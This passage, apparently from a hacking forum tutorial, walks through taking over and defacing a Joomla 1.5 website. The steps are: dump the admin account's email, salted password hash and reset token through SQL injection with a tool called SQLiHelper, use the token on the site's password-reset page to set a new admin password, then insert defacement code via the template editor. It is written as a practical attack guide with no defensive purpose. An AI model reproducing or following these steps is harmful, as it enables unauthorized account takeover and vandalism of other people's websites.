Notice that exploit from inj3ct0r wouldn’t work here because it looking for jos_users table and as you can see
our target use jos153_users table for storing data
Let Dump username, email, password from Column Name jos153_users. Click on Dump Now

username: admin
email: info@site.com
password: 169fad83bb2ac775bbaef4938d504f4e:mlqMfY0Vc9KLxPk056eewFWM13vEThJI
Joomla! 1.5.x uses md5 to hash the passwords. When the passwords are created, they are hashed with a
32 character salt that is appended to the end of the password string. The password is stored as
{TOTAL HASH}:{ORIGINAL SALT}. So to hack that password take time and time…
The easiest way to hack is to reset Admin password!
Admin Password Reset
Go to:

Code: Select all: http://www.site.com/index.php?option=com_user&view=reset

This is standard Joomla! query for password reset request

Forgot your Password? page will load.
In E-mail Address: enter admin email (in our case it is:info@site.com) and press Submit.
If you find right admin email, Confirm your account. page will load, asking for Token
Finding Token
To find token go back to reiluke SQLiHelper 2.7 and dump username and activation from Column Name jos153_users

username: admin
activation: 5482dd177624761a290224270fa55f1d
5482dd177624761a290224270fa55f1d is 32 char verification token, enter it and pres Submit.

If you done everything ok, Rest your Password page will load. Enter your new password…
After that go to:

Code: Select all: http://www.site.com/administrator/

Standard Joomla portal content management system
Enter username admin and your password, click on Login
Go to Extensions >> Template Manager >> Default Template Name >> Edit HTML

In Template HTML Editor insert your defaced code, click Apply, Save and you are done!!!
